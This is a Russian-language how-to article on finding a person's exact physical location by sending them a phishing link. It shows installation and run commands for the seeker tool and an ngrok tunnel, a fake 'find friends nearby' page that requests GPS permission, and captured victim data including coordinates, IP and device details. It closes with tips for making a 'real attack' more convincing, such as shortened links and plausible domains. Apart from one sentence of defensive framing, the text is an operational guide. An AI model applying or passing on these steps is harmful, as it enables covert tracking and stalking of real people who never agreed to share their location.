Как узнать точное расположение пользователя

В этой статье будет показано, как с помощью социальной инженерии узнать точное (до дома) расположение пользователя. Это будет важно и тем, кто хочет защититься от подобных атак — вы увидите, чего категорически нельзя делать на ненадёжных сайтах и узнаете, какую информацию о вас может получить лицо, приславшее вам ссылку.

Описанная атака сработает, если пользователь откроет нашу ссылку с мобильного телефона (для точного определения расположения нужен GPS на устройстве «жертвы») и разрешит сайту использовать расположение пользователя. Независимо от того, включён ли GPS, при открытии пользователем ссылки мы получим следующую информацию:

  • Операционная система
  • Платформа
  • Количество ядер процессора
  • Объем оперативной памяти — приблизительные результаты
  • Разрешение экрана
  • Информация о GPU
  • Имя и версия браузера
  • Публичный IP-адрес

Если будут получено разрешение на доступ к расположению, мы можем получить:

  • долготу
  • широту
  • точность
  • высоту над уровнем моря — не всегда доступна
  • направление — доступно только если пользователь движется
  • скорость — доступно только если пользователь движется

Алгоритм действий очень простой:

  1. Мы запускаем фишинговый сайт, который под предлогом, например, поиска новых знакомств рядом запрашивает разрешение на определение расположения пользователя.
  2. Отправляем пользователю ссылку на наш сайт.
  3. Если пользователь даёт разрешение сайту на получение его местоположения, то мы узнаём с точностью до десятков метров, где он сейчас находится.
  4. Даже если пользователь не даёт разрешения, но кликает ссылку, то мы узнаём его IP адрес, модель веб-браузера и некоторые другие характеристики его телефона или компьютера.

Программы для поиска расположения пользователя

Нам понадобятся две программы:


  • seeker — запускает фишинговый сайт и анализирует полученные данные.
  • ngrok — на тот случай, если у вас нет белого IP адреса (или хостинга); эта программа позволяет создавать ссылки на ваш сайт, благодаря чему сайт на вашем локальном компьютере можно открыть в Интернете. Больше подробностей об этой программе вы найдёте в статье «Как без белого IP локальный веб-сервер сделать доступным из Интернета».

Я покажу пример атаки из Kali Linux, если у вас другой дистрибутив, то инструкции по установке смотрите по ссылкам выше в карточках этих программ.

Установка seeker в Kali Linux

sudo apt update
sudo apt install python3 python3-pip php ssh git
pip3 install requests
git clone https://github.com/thewhiteh4t/seeker
cd seeker/
python3 ./seeker.py -h

Установка ngrok в Kali Linux

wget `curl -s https://ngrok.com/download | grep -o -E 'https://bin.equinox.io/c/[A-Za-z0-9]{4,}/ngrok-stable-linux-amd64.zip'`
unzip ngrok-stable-linux-amd64.zip
chmod +x ./ngrok
./ngrok -h

Инструкция по использованию seeker

Далее всё очень просто, запускаем seeker:


python3 ./seeker.py -t manual

На выбор присутствует два готовых шаблона:

[+] Select a Template :
 
[1] NearYou
[2] Google Drive

Допустим, выбираю первый.

Затем выводится информация:

[+] Starting PHP Server......[ Success ]
 
[+] Waiting for User Interaction...

В ней сказано, что PHP сервер успешно запущен и ожидается взаимодействие с пользователем.

Теперь для создания тоннеля из Интернета до нашего локального сервера, в другом окне запускаем ngrok:

./ngrok http 8080

Сгенерирована ссылка https://1fa595b3.ngrok.io. Её нужно отправить «жертве». Предположим, пользователь открыл ссылку на настольном компьютере. В этом случае он увидит:

Страница выглядит очень профессионально, красивая анимация. Надписи говорят о том, что этот сервис позволяет найти людей рядом с вами и завести новых друзей. Предположим, пользователь нажал кнопку «Continue»:

Возникает запрос на доступ к местоположению.

В окне seeker мы видим следующее:

Мы узнали IP и User Agent пользователя, но данные о местоположении не получены, просто потому, что у компьютера нет GPS модуля:

[-] Location information is unavailable

Откроем теперь фишинговую ссылку на мобильном телефоне.

Запрос данных о местоположении:

В этот раз получены данные локации:

[+] Location Information : 
 
[+] Latitude  : 12.458610728197513 deg
[+] Longitude : 99.97342079401619 deg
[+] Accuracy  : 3.4233226776123047 m
[+] Altitude  : 65.55902099609375
[+] Direction : Not Available
[+] Speed     : 0.23704902827739716 m/s

Для удобство дана ссылка на Гугл Карты: https://www.google.com/maps/place/12.458610728197513+99.97342079401619

Также сказано, что данные сохранены в файл по пути ./seeker/db/results.csv (относительно папки с файлами seeker). В этом файле хранятся все данные, в том числе с предыдущих атак.

Что можно улучшить для реальной атаки

Несмотря на полную реализацию и упаковку в удобную и простую программу, это скорее инструменты для демонстрации рабочего концепта атаки, чем для реальной атаки.


При выполнении реальной атаки можно сделать следующие улучшения:

  • перевести шаблоны фишинговых сайтов на язык целевого пользователя
  • создать свои собственные шаблоны
  • использовать сократитель ссылок
  • использовать подходящий для легенды домен или субдомен
  • если продолжать использовать ngrok, то хотя бы переместить шаблоны в подпапку, чтобы в ссылке присутствовал подходящий по ситуации путь
  • усовершенствовать алгоритм: если данные местоположения не получены, то написать пользователю рекомендацию открыть ссылку с телефона
  • записывать все случаи, когда ссылка была открыта, даже если пользователь не нажал кнопку (можно узнать хотя бы IP адрес пользователя)